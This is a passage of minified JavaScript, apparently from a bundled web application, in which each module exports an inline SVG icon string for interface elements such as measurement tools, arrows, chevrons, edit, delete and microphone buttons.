xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#000000;}</style></defs><title>icon - tool - measurement - area - line</title><path class="cls-1" d="M19.14,2H4.86A2.86,2.86,0,0,0,2,4.86V19.14A2.86,2.86,0,0,0,4.86,22H19.14A2.86,2.86,0,0,0,22,19.14V4.86A2.86,2.86,0,0,0,19.14,2ZM4,4h6.22L4,10.22ZM4,18.71V13H4l9-9,0,0h5.71ZM5.54,20,20,5.54v5.69L11.23,20Zm8.52,0L20,14.06V20Z"></path><path class="cls-1" d="M10.22,4H13L4,13V10.22ZM20,5.54V4H18.71L4,18.71V20H5.54ZM14.06,20,20,14.06V11.23L11.23,20Z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g stroke="none" stroke-width="1" fill="none"><g><path d="M18,7.41421354 L7.41421357,18 L10,18 L10,20 L4.00000003,20 L4,14 L6,14 L6,16.5857864 L16.5857864,6 L14,6 L14,4 L20,4 L20,9.99999997 L18,9.99999997 L18,7.41421354 Z"></path></g></g></svg>'},function(e,t){e.exports='<svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#868e96;}</style></defs><path class="cls-1" d="M12,2A10,10,0,1,0,22,12,10,10,0,0,0,12,2Zm0,18a8,8,0,1,1,8-8A8,8,0,0,1,12,20Z"></path><path class="cls-1" d="M15.81,5a8.1,8.1,0,0,0-2-.76l-9.59,9.6a8,8,0,0,0,.77,2L15.83,5Z"></path><path class="cls-1" d="M19,8.11,8.1,19a8.14,8.14,0,0,0,2.28.86l9.44-9.51A8,8,0,0,0,19,8.11Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m22 20.7c-4.8 0-9.7 0-14.5 0-.2 0-.3 0-.4-.2-1.7-1.7-3.3-3.3-5-5 0 0-.1-.1-.1-.1l.2-.2c4-4 7.9-7.9 11.9-11.9.1-.1.2-.1.4 0 2.5 2.5 4.9 4.9 7.4 7.4 0 0 .1.1.2.1-2.7 2.7-5.4 5.4-8.1 8.1h8.1c-.1.7-.1 1.2-.1 1.8zm-17.5-5.2 3.5 3.5h.2 3.1c.1 0 .2 0 .3-.1.9-.9 1.7-1.7 2.6-2.6 0 0 .1-.1.1-.1-1.8-1.8-3.5-3.5-5.2-5.2-1.6 1.4-3.1 2.9-4.6 4.5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m10.0940522 17.9587003-3.74999998-3.75 9.91620028-9.9162003c.39-.39 1.02-.39 1.41 0l2.34 2.34c.39.39.39 1.02 0 1.41zm-1.06066015 1.0606602-.98298815.9829881h-5.02538467c-.56610249 0-1.02501923-.4589167-1.02501923-1.0250192 0-.2718674.10800496-.5325985.30025253-.7248294l2.98313952-2.9831395z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m9.66172796 8.5226409 4.24264064-4.24264069 7.0710679 7.07106779-4.2426407 4.2426407c-.3905243.3905243-1.0236893.3905243-1.4142136 0l-5.65685424-5.65685424c-.3905243-.39052429-.3905243-1.02368927 0-1.41421356zm-.70710679 2.1213203 5.65685423 5.6568543-5.01218758 2.5060938c-.38498866.1924943-.84996012.1170398-1.15432038-.1873204l-1.80911966-1.8091197c-.30436026-.3043602-.37981474-.7693317-.18732041-1.1543204zm-2.82842712 7.0710679 1.41421356 1.4142135c-1.31993275 1.0370899-2.14489066 1.3906433-2.47487373 1.0606602-.32998308-.3299831.02357031-1.154941 1.06066017-2.4748737z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m14 17h2v2h-7v-2h2v-9h-3v2h-2v-2-3h13v3 2h-2v-2h-3z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m19 3c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2h-14c-1.1 0-2-.9-2-2v-14c0-1.1.9-2 2-2zm-4.9471874 12.3412499.7890625 2.34375h2.4921875l-4.2578125-11.37499996h-2.171875l-4.23437502 11.37499996h2.4921875l.78125-2.34375zm-3.4765625-1.8984375 1.4140625-4.25781246 1.4296875 4.25781246z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m21 19v-14c0-1.1-.9-2-2-2h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2zm-12.5-5.5 2.5 3.01 3.5-4.51 4.5 6h-14z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m2 11h20v2h-20z" transform="matrix(.70710678 -.70710678 .70710678 .70710678 -4.970563 12)"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g><polygon fill="none" points="0 0 24 0 24 24 0 24"></polygon><path d="M11.2229827,11.7207264 L11.5361061,13.6977095 L9.59932057,14.0850666 L9.00384592,15.156921 L7.27155933,14.1567849 L8.30016792,12.3052894 L11.2229827,11.7207264 Z M13.1857389,11.3281752 L15.3713261,10.8910577 L16.1895264,9.41882416 L17.9218087,10.4189578 L16.670298,12.6708712 L13.4988623,13.3051583 L13.1857389,11.3281752 Z M6.30014126,15.9053374 L8.03242783,16.9054735 L6.2883676,20.0447819 L4.54005311,19.0734961 L6.30014126,15.9053374 Z M17.1612077,7.67042358 L18.6851109,4.92837923 L20.4332779,5.89993073 L18.89349,8.67055726 L17.1612077,7.67042358 Z"></path></g></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m16.7375649 4 4.4985031 7.9970061-4.5012283 8.0024565-9.2330194.0011841-4.5018203-8.0036406 4.49832909-7.9966582zm-8.00149692 1.99700608-3.5 6.00000002 3.5 6h6.76393202l3.5-6-3.5-6.00000002z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m2.75941257 13.4482295-.54944226-1.9230478 7.44464759-2.12704222 6.0000767 4.00005112 6.5594501-1.8730507.5491501 1.9231314-7.4486065 2.1269493-5.99992332-3.9999489z" transform="matrix(.70710678 -.70710678 .70710678 .70710678 -5.172166 12.486647)"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#000000;}</style></defs><title>icon - tool - measurement - area - line</title><path class="cls-1" d="M19.14,2H4.86A2.86,2.86,0,0,0,2,4.86V19.14A2.86,2.86,0,0,0,4.86,22H19.14A2.86,2.86,0,0,0,22,19.14V4.86A2.86,2.86,0,0,0,19.14,2ZM4,4h6.22L4,10.22ZM4,18.71V13H4l9-9,0,0h5.71ZM5.54,20,20,5.54v5.69L11.23,20Zm8.52,0L20,14.06V20Z"></path><path class="cls-1" d="M10.22,4H13L4,13V10.22ZM20,5.54V4H18.71L4,18.71V20H5.54ZM14.06,20,20,14.06V11.23L11.23,20Z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m10.0940522 17.9587003-3.74999998-3.75 9.91620028-9.9162003c.39-.39 1.02-.39 1.41 0l2.34 2.34c.39.39.39 1.02 0 1.41zm-1.06066015 1.0606602-.98298815.9829881h-5.02538467c-.56610249 0-1.02501923-.4589167-1.02501923-1.0250192 0-.2718674.10800496-.5325985.30025253-.7248294l2.98313952-2.9831395zm3.26686045-1.0193605h9v2h-11z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m17.5030483 9.00304833v1.99999997h1v-1.99999997h2v2.99999997h1v-2.99999997h1c.5522848 0 1 .44771525 1 .99999997v4c0 .5522848-.4477152 1-1 1h-20.99999997c-.55228475 0-1-.4477152-1-1v-4c0-.55228472.44771525-.99999997 1-.99999997h1v2.99999997h1v-2.99999997h2v1.99999997h1v-1.99999997h2v1.99999997h1v-1.99999997h1.99999997v2.99999997h1v-2.99999997h2v1.99999997h1v-1.99999997z" transform="matrix(.70710678 -.70710678 .70710678 .70710678 -4.971825 12.003048)"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m9.70864175 17.0129114h12.29135825v2h-12.14119637c-.00132452.0293711-.00277091.0589835-.00433457.0888699-.11198252 2.140328-1.54526173 3.4612105-3.2460842 3.1445917-1.4379189-.2676777-2.36548818-1.5917777-2.25554648-3.2334616h-2.35283838v-2h2.85101727c.48375742-1.3216041 1.16546925-2.3853848 2.02795171-3.2480075-.18264567-.7591819-.33094514-1.4552523-.44245747-2.1059993-.9997212.2428217-2.08194563.3540068-3.23651146.3540068v-2c1.10093119 0 2.10387085-.11329307 3.00514278-.36403478-.067061-1.39749009.10114233-2.64169381.54012175-3.99140074.87824528-2.70029457 2.67433987-4.143459 4.41683292-3.50917134 1.7190901.62576874 2.1426897 2.84674853 1.0095184 5.01231865-.9488917 1.8133989-2.24059781 3.04654081-3.81728229 3.81582451.06790982.4503952.1575239.9279247.26809133 1.4410646.1343057-.0803068.27128125-.1579953.41089297-.2331767.0955675-.0514634.17416199-.0940935.35123288-.1903527.03012452-.0163737.03012452-.0163737.06032177-.0327821 2.53273324-1.3760604 3.63912134-1.7128543 4.87690454-.7320646.4256558.3372795.6993633.7334951.8408663 1.1649785.1573732-.1151393.3108908-.221996.4636277-.3224267 1.5449353-1.015857 2.9140936-1.2813901 4.0466138-.3145683 1.3543316 1.15618 1.1007616 2.8053072-.3680178 4.5663418l-1.535906-1.2810123c.8571484-1.0277023.9280413-1.4887639.6053709-1.7642245-.2529064-.2159039-.7655734-.1164778-1.6492414.4645694-.3820124.2511885-.7916868.5675309-1.2936989.9899347-.1417474.1192693-1.1521636.9929139-1.4170698 1.2079504-.9360832.7598614-2.1683444-.4799627-1.4027696-1.4113791.6859267-.8345146.7958988-1.4729018.4681355-1.7326135-.2727291-.216104-.9839554.0003993-2.6800163.9218869-.0299657.0162827-.0299657.0162827-.0600012.032608-.1779933.0967622-.2593885.1409114-.35809563.1940655-.30441957.163931-.59162724.3413674-.86158259.5349668.28483671 1.1242685.47243846 1.9072203.58864967 2.5326976zm-2.69257941 0h.65153892c-.05070864-.2442087-.11255084-.5178056-.18713872-.8311195-.16893029.2580643-.32374025.5344537-.4644002.8311195zm.84029009 2h-1.49615156c-.10563245.7406814.19047954 1.1883605.61420846 1.2672403.43307507.0806197.82635111-.279308.8819431-1.2672403zm2.54320537-12.77954768c.6348876-1.21331479.4730078-2.0620683.0784308-2.20569892-.4476461-.16294835-1.25839789.48849183-1.83079041 2.24839701-.26955538.82878773-.41470838 1.62140209-.44392294 2.47338461.88768275-.59409074 1.6219516-1.41849581 2.19628255-2.5160827z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m4 4h16v16h-16zm2 2v12h12v-12z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m13.9776924 14.3214286h-4.62417584l-.87912088 2.6785714h-2.8043956l4.76483512-13h2.4439561l4.7912088 13h-2.8043956zm-3.9120879-2.1696429h3.2l-1.6087912-4.86607141zm-5.0656045 7.0964872 1.12111398-.9965458c.64744475.7283754 1.1743348 1.0482729 1.53944301 1.0482729.13613334 0 .23785292-.0714786.52575258-.3969304.0283085-.0320322.0283085-.0320322.05777173-.0653362.51294587-.5789528.87737768-.8377334 1.51647569-.8377334.66218591 0 1.01074831.2517395 1.60110261.8912899.3096457.3354496.4110833.4087101.4988974.4087101.087814 0 .1892516-.0732605.4988974-.4087101.5903542-.6395504.9389166-.8912899 1.6011026-.8912899.6621859 0 1.0107483.2517395 1.6011026.8912899.3096457.3354496.4110833.4087101.4988974.4087101.0585427 0 .4615748-.3494243 1.2090963-1.0482729l1.0623779.9965458c-.6113281.6604372-1.6092883 1.5517271-2.2714742 1.5517271-.662186 0-1.0107484-.2517395-1.6011026-.8912899-.3096458-.3354496-.4110834-.4087101-.4988974-.4087101-.0878141 0-.1892517.0732605-.4988974.4087101-.5903543.6395504-.9389167.8912899-1.6011026.8912899-.662186 0-1.0107484-.2517395-1.6011026-.8912899-.30964576-.3354496-.41108337-.4087101-.49889741-.4087101-.06976189 0-.1491155.0563485-.39374653.3324591-.02787011.0315035-.02787011.0315035-.05700605.0644713-.55406463.6263339-.94788076.9030696-1.64924742.9030696-.87606826 0-1.75627761-.5344128-2.66055699-1.5517271z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m13.5 15h4.5c1.1045695 0 2 .8954305 2 2v1h-16v-1c0-1.1045695.8954305-2 2-2h4.5v-5.33681558c-1.18247367-.56173197-2-1.76698644-2-3.16318442 0-1.93299662 1.5670034-3.5 3.5-3.5s3.5 1.56700338 3.5 3.5c0 1.39619798-.8175263 2.60145245-2 3.16318442zm-8.5 4h14v2h-14z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m20 2h-16c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2v-12c0-1.1-.9-2-2-2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m9.52134855 16-.71695295 3h-2.8043956l1.02103611-3zm-1.13893097-4 2.38241762-7h2.443956l2.3956044 7h-2.3895877l-1.2279947-3.71428571-1.2145741 3.71428571zm8.59089482 4 1.0266876 3h-2.8043956l-.7241225-3zm-11.9733124-3h14v2h-14z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m14.3076923 14.3214286h-4.62417582l-.87912088 2.6785714h-2.8043956l4.7648352-13h2.443956l4.7912088 13h-2.8043956zm-3.9120879-2.1696429h3.2l-1.6087912-4.86607141zm-5.3956044 6.3482143h14v2h-14z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m21 6h-2v9h-13v2c0 .55.45 1 1 1h11l4 4v-15c0-.55-.45-1-1-1zm-4 6v-9c0-.55-.45-1-1-1h-13c-.55 0-1 .45-1 1v14l4-4h10c.55 0 1-.45 1-1z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 284.929 284.929" style="enable-background:new 0 0 284.929 284.929;" xml:space="preserve"><path d="M282.082,76.511l-14.274-14.273c-1.902-1.906-4.093-2.856-6.57-2.856c-2.471,0-4.661,0.95-6.563,2.856L142.466,174.441 L30.262,62.241c-1.903-1.906-4.093-2.856-6.567-2.856c-2.475,0-4.665,0.95-6.567,2.856L2.856,76.515C0.95,78.417,0,80.607,0,83.082 c0,2.473,0.953,4.663,2.856,6.565l133.043,133.046c1.902,1.903,4.093,2.854,6.567,2.854s4.661-0.951,6.562-2.854L282.082,89.647 c1.902-1.903,2.847-4.093,2.847-6.565C284.929,80.607,283.984,78.417,282.082,76.511z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m7 10 5 5 5-5z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 284.929 284.929" style="enable-background:new 0 0 284.929 284.929;" xml:space="preserve"><path d="M282.082,195.285L149.028,62.24c-1.901-1.903-4.088-2.856-6.562-2.856s-4.665,0.953-6.567,2.856L2.856,195.285 C0.95,197.191,0,199.378,0,201.853c0,2.474,0.953,4.664,2.856,6.566l14.272,14.271c1.903,1.903,4.093,2.854,6.567,2.854 c2.474,0,4.664-0.951,6.567-2.854l112.204-112.202l112.208,112.209c1.902,1.903,4.093,2.848,6.563,2.848 c2.478,0,4.668-0.951,6.57-2.848l14.274-14.277c1.902-1.902,2.847-4.093,2.847-6.566 C284.929,199.378,283.984,197.188,282.082,195.285z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m17 3h-10c-1.1 0-1.99.9-1.99 2l-.01 16 7-5 7 5v-16c0-1.1-.9-2-2-2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m9 16.17-4.17-4.17-1.42 1.41 5.59 5.59 12-12-1.41-1.41z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m16.59 8.59-4.59 4.58-4.59-4.58-1.41 1.41 6 6 6-6z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m15.41 7.41-1.41-1.41-6 6 6 6 1.41-1.41-4.58-4.59z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m10 6-1.41 1.41 4.58 4.59-4.58 4.59 1.41 1.41 6-6z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m12 8-6 6 1.41 1.41 4.59-4.58 4.59 4.58 1.41-1.41z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m19 6.41-1.41-1.41-5.59 5.59-5.59-5.59-1.41 1.41 5.59 5.59-5.59 5.59 1.41 1.41 5.59-5.59 5.59 5.59 1.41-1.41-5.59-5.59z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m20 2h-16c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2v-12c0-1.1-.9-2-2-2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m16 1h-12c-1.1 0-2 .9-2 2v14h2v-14h12zm3 4h-11c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2v-14c0-1.1-.9-2-2-2zm0 16h-11v-14h11z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19,7c0-1.103-0.897-2-2-2H7V2H5v3H2v2h3h2h10v15h2v-3h3v-2h-3V7z"></path><path d="M5,9v8c0,1.103,0.897,2,2,2h8v-2H7V9H5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2v-12h-12zm13-15h-3.5l-1-1h-5l-1 1h-3.5v2h14z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m3 17.25v3.75h3.75l11.06-11.06-3.75-3.75zm17.71-10.21c.39-.39.39-1.02 0-1.41l-2.34-2.34c-.39-.39-1.02-.39-1.41 0l-1.83 1.83 3.75 3.75z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M11.1716 2H4C2.8954 2 2 2.8954 2 4V18C2 19.1046 2.8954 20 4 20H8V18H4V4H11V7.5C11 7.7761 11.2239 8 11.5 8H15V10.8432L17 8.8432V7.8284C17 7.298 16.7893 6.7892 16.4142 6.4142L12.5858 2.5858C12.2107 2.2107 11.702 2 11.1716 2Z" fill="black"></path><path d="M21.5606 12.0339L20.1464 10.6197C19.8535 10.3268 19.4696 10.1804 19.0857 10.1804C18.7018 10.1804 18.3179 10.3268 18.025 10.6197L10.1803 18.4644V22H13.7158L21.5605 14.1553C22.1465 13.5695 22.1465 12.6198 21.5606 12.0339ZM13.0946 20.5H11.6804V19.0857L16.9919 13.7733L18.4066 15.188L13.0946 20.5ZM19.4673 14.1273L18.0526 12.7125L19.0844 11.6805L19.0859 11.6804L20.5 13.0946L19.4673 14.1273Z" fill="black"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M11 16L13 16 13 7 16 7 12 2 8 7 11 7z"></path><path d="M5,22h14c1.103,0,2-0.897,2-2v-9c0-1.103-0.897-2-2-2h-4v2h4v9H5v-9h4V9H5c-1.103,0-2,0.897-2,2v9C3,21.103,3.897,22,5,22 z"></path></svg>'},function(e,t){e.exports='<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 24 24" style="enable-background:new 0 0 24 24;" xml:space="preserve"><style type="text/css"> .st0{fill:#ABB0C4;} </style><title>icon - attachment</title><g><path class="st0" d="M5,7L5,7v8c0,3.9,3.2,7,7.1,6.9c1.8,0,3.6-0.7,4.9-2c1.3-1.3,2.1-3.1,2.1-4.9V7h-2v8c0,2.8-2.2,5-5,5 s-5-2.2-5-5V7l0,0c0-0.8,0.3-1.6,0.9-2.1c1.2-1.2,3.1-1.2,4.2,0C12.7,5.4,13,6.2,13,7v8c0,0.6-0.4,1-1,1c-0.3,0-0.5-0.1-0.7-0.3 C11.1,15.5,11,15.3,11,15V7H9v8c0,1.7,1.4,3,3,3c0.8,0,1.5-0.3,2.1-0.9c0.6-0.6,0.9-1.3,0.9-2.1V7c0-2.8-2.2-5-5-5S5,4.2,5,7z"></path></g></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m5 2h10l6 6 .0001221 12.0010986v.0001221c-.0000674 1.1045695-.8955526 1.9999454-2.0001221 1.9998779l-13.99502837-.0016511c-1.10430609-.0000674-1.99957281-.8951416-1.99987782-1.9994476l-.00509381-15.9999999c0-1.1.9-2 2-2zm0 2v16h14v-11l-5-5zm1.5 8.5v-6h6l-2.3 2.3 1.8 1.7900002-1.4099998 1.4099998-1.7900002-1.8zm10.9999998-1.0000002v6h-6l2.3-2.3-1.7999998-1.79 1.4099998-1.4099998 1.79 1.7999998z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m17 5v-3l4 4-4 4v-3h-4v-2zm-10 2v3l-4-4 4-4v3h4v2zm-2 5h10l6 6v4.0010986l-17.9950284-.0010986.0050284-8c0-1.1.89-2 1.99-2zm0 2v8h14v-3l-5-5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m9 4v3h5v12h3v-12h5v-3zm-6 8h3v7h3v-7h3v-3h-9z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M0 0h24v24H0z" fill="none"></path><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zM8 17.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5zM9.5 8c0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5S9.5 9.38 9.5 8zm6.5 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8l-2-2z"></path><path d="M0 0h24v24H0z" fill="none"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M0 0h24v24H0z" fill="none"></path><path d="M11.99 18.54l-7.37-5.73L3 14.07l9 7 9-7-1.63-1.27-7.38 5.74zM12 16l7.36-5.73L21 9l-9-7-9 7 1.63 1.27L12 16z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m21 4c1.1 0 2 .9 2 2v13c0 1.1-.9 2-2 2h-18c-1.1 0-2-.9-2-2v-13c0-1.1.9-2 2-2zm0 15v-13h-12v13zm-18-8.5v1.5h4v-1.5zm0-2.5v1.5h4v-1.5zm0 5v1.5h4v-1.5zm0 2.5v1.5h4v-1.5z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5zm0-6c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5zm0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5zm3 2.5h14v-2h-14zm0-6h14v-2h-14zm0-8v2h14v-2z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m3 6h18v2h-18zm0 5h18v2h-18zm0 7v-2h18v2z"></path></svg>'},function(e,t){e.exports='<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16 12V6C16 3.783 14.215 1.979 12.021 1.979C11.952 1.979 11.881 1.988 11.812 2.004C9.693 2.104 8 3.857 8 6V12C8 14.206 9.794 16 12 16C14.206 16 16 14.206 16 12ZM10 12V6C10 4.897 10.897 4 12 4C12.055 4 12.109 3.995 12.163 3.985C13.188 4.06 14 4.935 14 6V12C14 13.103 13.103 14 12 14C10.897 14 10 13.103 10 12Z" fill="#484848"></path><path d="M6 12H4C4 16.072 7.061 19.436 11 19.931V22H13V19.931C16.939 19.436 20 16.073 20 12H18C18 15.309 15.309 18 12 18C8.691 18 6 15.309 6 12Z" fill="#484848"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m6.76 5.30958904-1.8-1.79817351-1.41 1.41643835 1.79 1.79817352zm-2.76 5.68584476h-3v2h3zm9-9.9954338h-2v3h2zm7.45 3.92785388-1.41-1.41643835-1.79 1.79817351 1.41 1.41643836zm-3.21 13.76255712 1.79 1.8082191 1.41-1.4164383-1.8-1.7981735zm2.76-7.6949772v2h3v-2zm-8-4.9954338c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6zm-1 17h2v-3h-2zm-7.45-3.9278539 1.41 1.4164384 1.79-1.8082192-1.41-1.4164384z"></path></svg>'},function(e,t){e.exports='<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="m0 0h24v24h-24z" fill="none"></path><path d="m5 21.3703923c3.79666787-1.4187361 6.5-5.0788657 6.5-9.3703923 0-4.29152662-2.70333213-7.95165619-6.5-9.37039231 1.08933646-.40706247 2.26867912-.62960769 3.5-.62960769 5.5228475 0 10 4.4771525 10 10s-4.4771525 10-10 10c-1.23132088 0-2.41066354-.2225452-3.5-.6296077z"></path></svg>'},function(e,t){e.exports='<svg 